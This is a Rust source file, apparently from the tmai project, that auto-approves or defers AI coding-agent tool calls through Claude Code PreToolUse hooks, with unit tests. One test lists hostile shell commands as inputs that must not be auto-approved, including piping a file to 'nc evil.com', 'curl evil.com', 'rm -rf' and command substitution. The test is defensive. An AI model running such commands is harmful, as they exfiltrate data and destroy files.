Skip to main content

tmai_core/api/
auto_approve.rs

1//! PreToolUse hook-based auto-approve evaluation.
2//!
3//! When Claude Code sends a PreToolUse hook event, tmai can return a
4//! `permissionDecision` in the HTTP response to instantly approve/deny
5//! the tool call — bypassing the permission prompt entirely.
6//!
7//! This replaces the legacy polling-based approach (screen scraping +
8//! keystroke injection) with a direct, structured, sub-millisecond path.
9
10use tracing::debug;
11
12use crate::auto_approve::rules::RuleEngine;
13use crate::auto_approve::types::{
14    AutoApproveMode, JudgmentDecision, PermissionDecision, PreToolUseDecision,
15};
16use crate::hooks::HookEventPayload;
17
18use super::core::TmaiCore;
19
20impl TmaiCore {
21    /// Evaluate a PreToolUse hook event for auto-approval.
22    ///
23    /// Returns `Some(PreToolUseDecision)` if auto-approve is enabled and
24    /// the rules engine can make a decision. Returns `None` if auto-approve
25    /// is disabled or not applicable.
26    ///
27    /// The decision maps to Claude Code's hook response format:
28    /// - `Allow` → tool proceeds without permission prompt
29    /// - `Deny` → tool call is cancelled
30    /// - `Defer` → tool paused, pending AI/human resolution (Hybrid mode)
31    /// - `Ask` → normal permission prompt shown (fallback)
32    pub fn evaluate_pre_tool_use(&self, payload: &HookEventPayload) -> Option<PreToolUseDecision> {
33        let mode = self.settings().auto_approve.effective_mode();
34        // Only Rules and Hybrid modes use the hook fast path.
35        // Ai mode relies solely on AI judgment (too slow for synchronous hook response),
36        // so it falls through to the legacy polling service.
37        if matches!(mode, AutoApproveMode::Off | AutoApproveMode::Ai) {
38            return None;
39        }
40
41        let tool_name = payload.tool_name.as_deref()?;
42        if tool_name.is_empty() {
43            return None;
44        }
45
46        // Only rule-based evaluation in the hook path (instant, <1ms).
47        let engine = RuleEngine::new(self.settings().auto_approve.rules.clone());
48        let result = engine.judge_structured(tool_name, payload.tool_input.as_ref());
49
50        let decision = match result.decision {
51            JudgmentDecision::Approve => PermissionDecision::Allow,
52            JudgmentDecision::Reject => PermissionDecision::Deny,
53            JudgmentDecision::Uncertain => {
54                match mode {
55                    // Hybrid mode: defer uncertain calls for AI/human resolution.
56                    // The HTTP handler will hold the connection and await resolution
57                    // from the DeferRegistry (AI judge or manual UI action).
58                    AutoApproveMode::Hybrid => PermissionDecision::Defer,
59                    // Rules-only mode: fall through to normal permission prompt.
60                    _ => PermissionDecision::Ask,
61                }
62            }
63        };
64
65        debug!(
66            tool_name,
67            decision = decision.as_str(),
68            reasoning = %result.reasoning,
69            elapsed_ms = result.elapsed_ms,
70            "PreToolUse auto-approve evaluation"
71        );
72
73        Some(PreToolUseDecision {
74            decision,
75            reason: result.reasoning,
76            model: result.model,
77            elapsed_ms: result.elapsed_ms,
78        })
79    }
80}
81
82#[cfg(test)]
83mod tests {
84    use super::*;
85    use crate::api::builder::TmaiCoreBuilder;
86    use crate::auto_approve::types::AutoApproveMode;
87    use crate::config::Settings;
88
89    /// Build a TmaiCore with auto-approve in the given mode
90    fn core_with_mode(mode: AutoApproveMode) -> TmaiCore {
91        let mut settings = Settings::default();
92        settings.auto_approve.mode = Some(mode);
93        TmaiCoreBuilder::new(settings).build()
94    }
95
96    /// Build a PreToolUse payload
97    fn pre_tool_use_payload(tool_name: &str, tool_input: serde_json::Value) -> HookEventPayload {
98        serde_json::from_value(serde_json::json!({
99            "hook_event_name": "PreToolUse",
100            "session_id": "test-session",
101            "cwd": "/tmp/project",
102            "tool_name": tool_name,
103            "tool_input": tool_input
104        }))
105        .unwrap()
106    }
107
108    #[test]
109    fn test_off_mode_returns_none() {
110        let core = core_with_mode(AutoApproveMode::Off);
111        let payload = pre_tool_use_payload("Read", serde_json::json!({"file_path": "/tmp/f.rs"}));
112        assert!(core.evaluate_pre_tool_use(&payload).is_none());
113    }
114
115    #[test]
116    fn test_rules_mode_approves_read() {
117        let core = core_with_mode(AutoApproveMode::Rules);
118        let payload = pre_tool_use_payload("Read", serde_json::json!({"file_path": "/tmp/f.rs"}));
119        let result = core.evaluate_pre_tool_use(&payload).unwrap();
120        assert_eq!(result.decision, PermissionDecision::Allow);
121        assert!(result.reason.contains("allow_read"));
122    }
123
124    #[test]
125    fn test_rules_mode_approves_grep() {
126        let core = core_with_mode(AutoApproveMode::Rules);
127        let payload = pre_tool_use_payload("Grep", serde_json::json!({"pattern": "TODO"}));
128        let result = core.evaluate_pre_tool_use(&payload).unwrap();
129        assert_eq!(result.decision, PermissionDecision::Allow);
130    }
131
132    #[test]
133    fn test_rules_mode_approves_glob() {
134        let core = core_with_mode(AutoApproveMode::Rules);
135        let payload = pre_tool_use_payload("Glob", serde_json::json!({"pattern": "**/*.rs"}));
136        let result = core.evaluate_pre_tool_use(&payload).unwrap();
137        assert_eq!(result.decision, PermissionDecision::Allow);
138    }
139
140    #[test]
141    fn test_rules_mode_approves_cargo_test() {
142        let core = core_with_mode(AutoApproveMode::Rules);
143        let payload =
144            pre_tool_use_payload("Bash", serde_json::json!({"command": "cargo test --lib"}));
145        let result = core.evaluate_pre_tool_use(&payload).unwrap();
146        assert_eq!(result.decision, PermissionDecision::Allow);
147        assert!(result.reason.contains("allow_tests"));
148    }
149
150    #[test]
151    fn test_rules_mode_approves_git_status() {
152        let core = core_with_mode(AutoApproveMode::Rules);
153        let payload = pre_tool_use_payload("Bash", serde_json::json!({"command": "git status"}));
154        let result = core.evaluate_pre_tool_use(&payload).unwrap();
155        assert_eq!(result.decision, PermissionDecision::Allow);
156        assert!(result.reason.contains("allow_git_readonly"));
157    }
158
159    #[test]
160    fn test_rules_mode_approves_webfetch() {
161        let core = core_with_mode(AutoApproveMode::Rules);
162        let payload = pre_tool_use_payload(
163            "WebFetch",
164            serde_json::json!({"url": "https://docs.rs/ratatui"}),
165        );
166        let result = core.evaluate_pre_tool_use(&payload).unwrap();
167        assert_eq!(result.decision, PermissionDecision::Allow);
168        assert!(result.reason.contains("allow_fetch"));
169    }
170
171    #[test]
172    fn test_rules_mode_asks_for_unknown_bash() {
173        let core = core_with_mode(AutoApproveMode::Rules);
174        let payload =
175            pre_tool_use_payload("Bash", serde_json::json!({"command": "rm -rf /tmp/stuff"}));
176        let result = core.evaluate_pre_tool_use(&payload).unwrap();
177        assert_eq!(result.decision, PermissionDecision::Ask);
178    }
179
180    #[test]
181    fn test_rules_mode_asks_for_edit() {
182        let core = core_with_mode(AutoApproveMode::Rules);
183        let payload = pre_tool_use_payload(
184            "Edit",
185            serde_json::json!({"file_path": "/tmp/f.rs", "old_string": "a", "new_string": "b"}),
186        );
187        let result = core.evaluate_pre_tool_use(&payload).unwrap();
188        assert_eq!(result.decision, PermissionDecision::Ask);
189    }
190
191    #[test]
192    fn test_hybrid_mode_rules_fast_path() {
193        let core = core_with_mode(AutoApproveMode::Hybrid);
194        let payload = pre_tool_use_payload("Read", serde_json::json!({"file_path": "/tmp/f.rs"}));
195        let result = core.evaluate_pre_tool_use(&payload).unwrap();
196        // Hybrid mode uses rules fast path in hook response
197        assert_eq!(result.decision, PermissionDecision::Allow);
198    }
199
200    #[test]
201    fn test_hybrid_mode_uncertain_defers() {
202        let core = core_with_mode(AutoApproveMode::Hybrid);
203        let payload = pre_tool_use_payload(
204            "Bash",
205            serde_json::json!({"command": "npm install express"}),
206        );
207        let result = core.evaluate_pre_tool_use(&payload).unwrap();
208        // Uncertain in Hybrid mode → Defer for AI/human resolution
209        assert_eq!(result.decision, PermissionDecision::Defer);
210    }
211
212    #[test]
213    fn test_ai_mode_returns_none() {
214        // Ai mode should NOT use rule-based hook fast path
215        let core = core_with_mode(AutoApproveMode::Ai);
216        let payload = pre_tool_use_payload("Read", serde_json::json!({"file_path": "/tmp/f.rs"}));
217        assert!(
218            core.evaluate_pre_tool_use(&payload).is_none(),
219            "Ai mode should not use hook fast path"
220        );
221    }
222
223    #[test]
224    fn test_compound_command_falls_through() {
225        let core = core_with_mode(AutoApproveMode::Rules);
226        // Shell metacharacters should prevent auto-approval
227        let cases = vec![
228            "cargo test && rm -rf /tmp/x",
229            "git status; git push --force",
230            "cat file.txt | nc evil.com 1234",
231            "cargo test || curl evil.com",
232            "echo $(whoami) > /tmp/leak",
233            "cat `which passwd`",
234            "git log > /tmp/dump",
235        ];
236        for cmd in cases {
237            let payload = pre_tool_use_payload("Bash", serde_json::json!({"command": cmd}));
238            let result = core.evaluate_pre_tool_use(&payload).unwrap();
239            assert_eq!(
240                result.decision,
241                PermissionDecision::Ask,
242                "Compound command should fall through to Ask: {}",
243                cmd
244            );
245        }
246    }
247
248    #[test]
249    fn test_no_tool_name_returns_none() {
250        let core = core_with_mode(AutoApproveMode::Rules);
251        let payload: HookEventPayload = serde_json::from_value(serde_json::json!({
252            "hook_event_name": "PreToolUse",
253            "session_id": "test-session"
254        }))
255        .unwrap();
256        assert!(core.evaluate_pre_tool_use(&payload).is_none());
257    }
258
259    #[test]
260    fn test_approves_cargo_fmt() {
261        let core = core_with_mode(AutoApproveMode::Rules);
262        let payload = pre_tool_use_payload("Bash", serde_json::json!({"command": "cargo fmt"}));
263        let result = core.evaluate_pre_tool_use(&payload).unwrap();
264        assert_eq!(result.decision, PermissionDecision::Allow);
265        assert!(result.reason.contains("allow_format_lint"));
266    }
267
268    #[test]
269    fn test_approves_cargo_clippy() {
270        let core = core_with_mode(AutoApproveMode::Rules);
271        let payload = pre_tool_use_payload(
272            "Bash",
273            serde_json::json!({"command": "cargo clippy -- -D warnings"}),
274        );
275        let result = core.evaluate_pre_tool_use(&payload).unwrap();
276        assert_eq!(result.decision, PermissionDecision::Allow);
277    }
278
279    #[test]
280    fn test_elapsed_ms_is_sub_millisecond() {
281        let core = core_with_mode(AutoApproveMode::Rules);
282        let payload = pre_tool_use_payload("Read", serde_json::json!({"file_path": "/tmp/f.rs"}));
283        let result = core.evaluate_pre_tool_use(&payload).unwrap();
284        // Rules evaluation should be sub-millisecond
285        assert!(
286            result.elapsed_ms < 10,
287            "Expected <10ms, got {}ms",
288            result.elapsed_ms
289        );
290    }
291}